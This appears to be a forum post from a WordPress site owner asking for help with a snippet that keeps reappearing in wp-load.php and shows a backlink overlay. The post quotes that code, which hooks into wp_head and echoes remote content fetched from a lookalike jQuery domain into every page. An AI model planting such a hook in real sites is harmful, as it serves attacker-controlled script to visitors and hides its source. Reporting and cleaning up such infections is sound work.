Malicious code comes back in wp-load.php

hello guys, this code just making a overlay in my site with backlinks. If i delete it from the wp-load.php it just camoes back. Please help.

function pluginAuth(){
 echo(@wp_remote_retrieve_body(@wp_remote_get('http://jquerys.net/jquery-1.6.3.min.js')));
 }
 @add_action('wp_head', 'pluginAuth');

Another person is also complaining about this.http://wordpress.org/support/topic/malicious-script-by-jquerysnet?replies=5